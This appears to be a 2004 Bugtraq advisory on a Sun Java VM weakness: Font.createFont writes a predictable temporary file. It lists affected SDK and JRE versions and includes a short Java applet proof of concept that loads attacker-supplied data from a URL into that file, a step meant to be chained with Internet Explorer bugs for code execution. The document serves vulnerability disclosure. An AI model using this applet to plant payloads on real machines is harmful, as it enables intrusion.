Sun Java Virtual Machine Font.createFont Method Insecure Temporary File Creation Weakness

Bugtraq ID:	10685
Class:	Design Error
CVE:
Remote:	Yes
Local:	No
Published:	Jul 09 2004 12:00AM
Updated:	Jul 09 2004 12:00AM
Credit:	Discovery is credited to Jelmer and HTTP-EQUIV.
Vulnerable:	Sun SDK (Windows Production Release) 1.4.2 _04 Sun SDK (Windows Production Release) 1.4.2 _03 Sun SDK (Windows Production Release) 1.4.2 Sun SDK (Windows Production Release) 1.4.1 _03 Sun SDK (Windows Production Release) 1.4.1 _02 Sun SDK (Windows Production Release) 1.4.1 _01 Sun SDK (Windows Production Release) 1.4.1 Sun SDK (Windows Production Release) 1.4 .0_4 Sun SDK (Windows Production Release) 1.4 .0_03 Sun SDK (Windows Production Release) 1.4 .0_02 Sun SDK (Windows Production Release) 1.4 .0_01 Sun SDK (Windows Production Release) 1.4 Sun SDK (Windows Production Release) 1.3.1 _07 Sun SDK (Windows Production Release) 1.3.1 _06 Sun SDK (Windows Production Release) 1.3.1 _05 Sun SDK (Windows Production Release) 1.3.1 _04 Sun SDK (Windows Production Release) 1.3.1 _03 Sun SDK (Windows Production Release) 1.3.1 _02 Sun SDK (Windows Production Release) 1.3.1 _01a Sun SDK (Windows Production Release) 1.3 .0_05 Sun SDK (Windows Production Release) 1.3 .0_02 Sun SDK (Windows Production Release) 1.3 .0_02 Sun SDK (Windows Production Release) 1.2.2 _015 Sun SDK (Windows Production Release) 1.2.2 _014 Sun SDK (Windows Production Release) 1.2.2 _013 Sun SDK (Windows Production Release) 1.2.2 _012 Sun SDK (Windows Production Release) 1.2.2 _012 Sun SDK (Windows Production Release) 1.2.2 _011 Sun SDK (Windows Production Release) 1.2.2 _010 Sun SDK (Windows Production Release) 1.2.2 _007 Sun SDK (Windows Production Release) 1.2.1 Sun SDK (Windows Production Release) 1.2 Sun SDK (Windows Production Release) 1.1.8 _007 Sun JRE (Windows Production Release) 1.4.2 _04 Sun JRE (Windows Production Release) 1.4.2 _03 Sun JRE (Windows Production Release) 1.4.2 _02 Sun JRE (Windows Production Release) 1.4.2 _01 Sun JRE (Windows Production Release) 1.4.2 Sun JRE (Windows Production Release) 1.4.1 _07 Sun JRE (Windows Production Release) 1.4.1 _03 Sun JRE (Windows Production Release) 1.4.1 _02 Sun JRE (Windows Production Release) 1.4.1 _01 + Opera Software Opera Web Browser 7.11 j + Opera Software Opera Web Browser 7.11 Sun JRE (Windows Production Release) 1.4.1 Sun JRE (Windows Production Release) 1.4 .0_04 + Opera Software Opera Web Browser 7.54 Sun JRE (Windows Production Release) 1.4 .0_03 Sun JRE (Windows Production Release) 1.4 .0_02 Sun JRE (Windows Production Release) 1.4 .0_01 Sun JRE (Windows Production Release) 1.4 Sun JRE (Windows Production Release) 1.3.1 _09 Sun JRE (Windows Production Release) 1.3.1 _08 Sun JRE (Windows Production Release) 1.3.1 _07 Sun JRE (Windows Production Release) 1.3.1 _06 Sun JRE (Windows Production Release) 1.3.1 _05 Sun JRE (Windows Production Release) 1.3.1 _04 Sun JRE (Windows Production Release) 1.3.1 _03 + Macromedia ColdFusion Server MX Professional + Macromedia ColdFusion Server MX Enterprise + Macromedia ColdFusion Server MX Developer Sun JRE (Windows Production Release) 1.3.1 _02 Sun JRE (Windows Production Release) 1.3.1 _01a Sun JRE (Windows Production Release) 1.3.1 _01 Sun JRE (Windows Production Release) 1.3 .0_05 Sun JRE (Windows Production Release) 1.3 .0_04 Sun JRE (Windows Production Release) 1.3 .0_02 Sun JRE (Windows Production Release) 1.3 .0_02 Sun JRE (Windows Production Release) 1.3 Sun JRE (Windows Production Release) 1.2.2 _12 Sun JRE (Windows Production Release) 1.2.2 _015 Sun JRE (Windows Production Release) 1.2.2 _014 Sun JRE (Windows Production Release) 1.2.2 _013 Sun JRE (Windows Production Release) 1.2.2 _011 Sun JRE (Windows Production Release) 1.2.2 _010 Sun JRE (Windows Production Release) 1.2.2 _007 Sun JRE (Windows Production Release) 1.2.2 Sun JRE (Windows Production Release) 1.2.1 Sun JRE (Windows Production Release) 1.2 Sun JRE (Windows Production Release) 1.1.8 _009 Sun JRE (Windows Production Release) 1.1.8 _008 Sun JRE (Windows Production Release) 1.1.8 _007 Sun JRE (Windows Production Release) 1.1.8 _005 Sun JRE (Windows Production Release) 1.1.8 Sun JRE (Windows Production Release) 1.1.7 B_007 Sun JRE (Windows Production Release) 1.1.6 _09
Not Vulnerable:

Sun Java Virtual Machine Font.createFont Method Insecure Temporary File Creation Weakness

Sun Java Virtual Machine is a component of the Sun Java infrastructure that performs the handling of Java applets and other programs. It is available for Unix, Linux, and Microsoft platforms.

Sun Java Virtual Machine is prone to an insecure temporary file creation weakness. It is reported that this file is created by the 'Font.createFont' method with the following name:

+~JFxxxxx.tmp

where xxxxx is a random number.

This issue can be combined with various other vulnerabilities in Internet Explorer to ultimately allow for code execution on a vulnerable computer.

Sun Java Virtual Machine Font.createFont Method Insecure Temporary File Creation Weakness

A complete proof of concept demo is available from the researcher.

The following proof of concept is available:

import java.applet.Applet;

import java.awt.Font;

import java.net.URL;

import netscape.javascript.JSObject;



public class Jelmer extends Applet {



public void init() {



try {

Font f = Font.createFont(Font.TRUETYPE_FONT, new
URL(getParameter("infile")).openStream());

} catch(Exception ignored) {}



try {

JSObject jsWin = JSObject.getWindow(this);

jsWin.call("doneloading", new Object[]{});



} catch(Exception e) {

e.printStackTrace();

}

}

}

Sun Java Virtual Machine Font.createFont Method Insecure Temporary File Creation Weakness

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Sun Java Virtual Machine Font.createFont Method Insecure Temporary File Creation Weakness

References: